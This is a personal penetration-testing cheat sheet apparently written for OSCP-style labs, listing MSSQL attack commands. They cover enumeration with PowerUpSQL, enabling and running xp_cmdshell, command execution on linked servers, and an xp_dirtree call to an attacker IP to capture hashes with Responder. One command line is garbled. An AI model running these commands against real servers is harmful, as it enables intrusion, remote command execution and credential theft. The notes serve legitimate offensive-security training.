oscp/Necronomicon/Attacks/Dev Software & Databases/MSSQL.md

• PowerUpSQL
  • powershell Get-SQLServerLinkCrawl -Instance 'sql-1.cyberbotic.io,1433'
  • powershell Get-SQLServerLinkCrawl -Instance 'sql-1.cyberbotic.io,1433' -Query 'select @@version' | select Instance, CustomQuery | % { $_ | Add-Member NoteProperty 'QueryResult' $($_.CustomQuery[0]); $_ } | fl
• Queries:
  • SELECT @@version
  • SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'
  • EXEC xp_cmxp_cmdshell dshell 'dir C:\'
  • List databases
    • SELECT name,database_id,create_date from sys.databases
  • List db admins
    • SELECT name,type_desc,is_disabled,create_date FROM master.sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1 ORDER BY name
  • Enable xp_cmdshell:
    • sp_configure 'Show Advanced Options', 1; RECONFIGURE;
    • sp_configure 'xp_cmdshell', 1; RECONFIGURE
  • Use xp_dirtree (with Responder)
    • EXEC master.sys.xp_dirtree '\\10.10.14.12\CTHULHUFHTAGN',1,1
  • Discover linked databases:
    • SELECT * FROM master..sysservers
  • Execute queries on linked databases:
    • SELECT * FROM OPENQUERY("SQL02.DEV.ZEROPOINTSECURITY.CO.UK", 'select * FROM master..sysservers')
    • EXEC('xp_cmdshell "dir C:\"') AT [sql02.dev.zeropointsecurity.co.uk]
    • SELECT * FROM OPENQUERY("sql02.dev.zeropointsecurity.co.uk", 'select * from sys.configurations where name = ''xp_cmdshell''')
    • SELECT * FROM OPENQUERY("sql02.dev.zeropointsecurity.co.uk", 'select @@servername; exec xp_cmdshell ''whoami''')
  • Search for specific keywords in databases and format results into table
    • Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ? { $_.Status -eq 'Accessible' } | Get-SQLColumnSampleDataThreaded -SampleSize 5 -Keywords 'student,name' -NoDefaults | select instance, database, column, sample | ft -autosize